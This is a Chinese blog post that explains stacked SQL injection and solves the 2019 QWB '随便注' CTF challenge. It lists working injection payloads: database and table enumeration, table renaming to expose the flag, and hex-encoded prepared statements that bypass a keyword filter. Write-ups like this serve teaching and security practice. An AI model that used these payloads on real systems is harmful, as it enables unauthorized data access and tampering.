Twosmi1e's Blog.

堆叠注入

Word count: 546 / Reading time: 2 min
2019/12/25 Share

定义

Stacked injections(堆叠注入)从名词的含义就可以看到应该是一堆 sql 语句(多条)一起执行。而在真实的运用中也是这样的, 我们知道在 mysql 中, 主要是命令行中, 每一条语句结尾加; 表示语句结束。这样我们就想到了是不是可以多句一起使用。这个叫做 stacked injection。

使用条件

堆叠注入的使用条件十分有限,其可能受到API或者数据库引擎,又或者权限的限制只有当调用数据库函数支持执行多条sql语句时才能够使用,利用mysqli_multi_query()函数就支持多条sql语句同时执行,但实际情况中,如PHP为了防止sql注入机制,往往使用调用数据库的函数是mysqli_ query()函数,其只能执行一条语句,分号后面的内容将不会被执行,所以可以说堆叠注入的使用条件十分有限,一旦能够被使用,将可能对网站造成十分大的威胁。

强网杯2019 随便注

Alt text

过滤了
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

尝试堆叠注入
/?inject=222';show databases;#
Alt text
/?inject=222';use ctftraining;show tables;#
Alt text
禁用了select,使用show columns from

1';use ctftraining;show columns from FLAG_TABLE;#
Alt text
假的 继续找
1';use supersqli;show tables;#
Alt text

?inject=1’;use supersqli;show columns from words;#
Alt text

?inject=1’; use supersqli; show columns from 1919810931114514;#
Alt text

然后这里有个巧妙的解法,因为关键字禁了很多,想取出数据不容易

1
RENAME TABLE `words` TO `words1`;RENAME TABLE `1919810931114514` TO `words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;show columns from words;#

words是我们默认查询的表,重命名为words1,把flag所在表重命名为words,然后再用
1’ or 1=1#就可以看到flag了。

Alt text

还有一个思路就是
set @t=0x73656c65637420312c323b;prepare x from @t;execute x;
用16进制来绕过关键词检测 select 1,2;
Alt text
这里strstr检测子串,可以用大小写绕过。
Alt text

1
2
3
4
5
6
7
8
9
select flag from 1919810931114514
1';Set @t=0x73656c65637420666c61672066726f6d2031393139383130393331313134353134;Prepare x from @t;Execute x;#

select * from 1919810931114514
1';Set @t=0x73656c656374202a2066726f6d2031393139383130393331313134353134;Prepare x from @t;Execute x;#


select * from supersqli.1919810931114514
1';Set @t=0x73656c656374202a2066726f6d20737570657273716c692e31393139383130393331313134353134;Prepare x from @t;Execute x;#

Alt text
done

CATALOG
  1. 1. 定义
  2. 2. 使用条件
  3. 3. 强网杯2019 随便注